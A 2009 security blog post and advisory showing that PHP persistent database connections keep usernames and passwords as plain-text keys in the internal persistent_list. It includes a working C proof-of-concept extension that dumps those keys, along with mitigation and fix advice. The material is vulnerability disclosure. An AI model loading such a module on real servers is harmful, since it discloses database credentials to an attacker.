Professionnel en sécurité, développeur et entrepreneur
PHP – Persistent Database Password
Is storing password in clear text inside a hash is a vulnerability or not ? To me, yes it’s a unsecure design bug and it should be fixed. But others think that untrusted binary extension shouldn’t run anyways and if a bad guys inject a rogue extensions, it’s already game over. So… here it’s. Persistent database password dump proof of concept.
Advisory: Persistent password accessible by rogue extensions
Release Date: 2009/11/17
Last Modified: 2009/11/17
Author: Francois Harvey (contact at francoisharvey dot ca)
Application: PHP4, PHP5, PHP-DEV
Severity: Persistent password can be disclosed
Risk: Low ( you need to inject binary code anyways…)
Vendor Status: notified 12 november 2009
Overview:PHP is a widely-used general-purpose scripting language that is especially suited for Web development. PHP allow persistent database connnection.
Details: When persistent database connection is used, PHP stores the needed details in a persistent list. This list is not “hashed” and information is stored in plain text. For sample here are some hashed details for well known db engine :
./ext/msql/php_msql.c: hashed_details_length = spprintf(&hashed_details, 0, "msql_%s",Z_STRVAL_P(yyhost));
./ext/odbc/php_odbc.c: hashed_len = spprintf(&hashed_details, 0, "%s_%s_%s_%s_%d", ODBC_TYPE, db, uid, pwd, cur_opt);
./ext/mssql/php_mssql.c: hashed_details_length = spprintf(&hashed_details,0,"mssql_%s_%s_%s",Z_STRVAL_PP(yyhost),Z_STRVAL_PP(yyuser),Z_STRVAL_PP(yypasswd));
./ext/mysql/php_mysql.c: hashed_details_length = spprintf(&hashed_details, 0, "mysql_%s_%s_%s_%ld", SAFE_STRING(host_and_port), SAFE_STRING(user), SAFE_STRING(passwd), client_flags);
So the passwords are embedded within the clear text hash… It’s possible to code a php module that will access the persistent_list and dump the clear text hash.
Exploit Code:
// POC - Show Persistent List - (C) Francois Harvey
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include "php.h"
#include "zend_globals.h"
#include "php_persistent.h"
static function_entry persistent_functions[] = {
PHP_FE(show_persistent, NULL)
{NULL, NULL, NULL}
};
zend_module_entry persistent_module_entry = {
#if ZEND_MODULE_API_NO >= 20010901
STANDARD_MODULE_HEADER,
#endif
PHP_PERSISTENT_EXTNAME,
persistent_functions,
NULL,
NULL,
NULL,
NULL,
NULL,
#if ZEND_MODULE_API_NO >= 20010901
PHP_PERSISTENT_VERSION,
#endif
STANDARD_MODULE_PROPERTIES
};
//#ifdef COMPILE_DL_PERSISTENT
ZEND_GET_MODULE(persistent)
//#endif
PHP_FUNCTION(show_persistent)
{
php_printf("------------------------------\n");
php_printf(" Current Peristent List PoC \n");
php_printf(" (C) 2009 Francois Harvey \n");
php_printf(" http://francoisharvey.ca \n");
php_printf("------------------------------\n");
Bucket *p;
uint i;
HashTable *pl = &EG(persistent_list);
for (i = 0; i < pl->nTableSize; i++) {
p = pl->arBuckets[i];
while (p != NULL) {
php_printf("%d : %s\n", i, p->arKey);
p = p->pNext;
}
}
php_printf("---------------------------\n");
RETURN_STRING("", 1);
}
This PoC coded and loaded as a module will dump the persistent list when used (module should be loaded first with dl() or php.ini) in php as
show_persistent();
Mitigation: Module inclusion in runtime is currently possible but more limited than from the past and from 5.2.5 needs to be stored in a specific folder. Limiting the scope of this attack.
Solution:The quick answer is : no persistent connect or dont run untrusted extensions. But the real one is to hash (md5 or sha1) before stored inside the persistent_list (and not strcat the password…), but this patch should be applied to each individual extensions.
| Print article | This entry was posted by Francois.Harvey on 2009/12/07 at 14:36, and is filed under sécurité. Follow any responses to this post through RSS 2.0. You can leave a response or trackback from your own site. |
about 9 months ago
Fort intéressant, belle trouvaille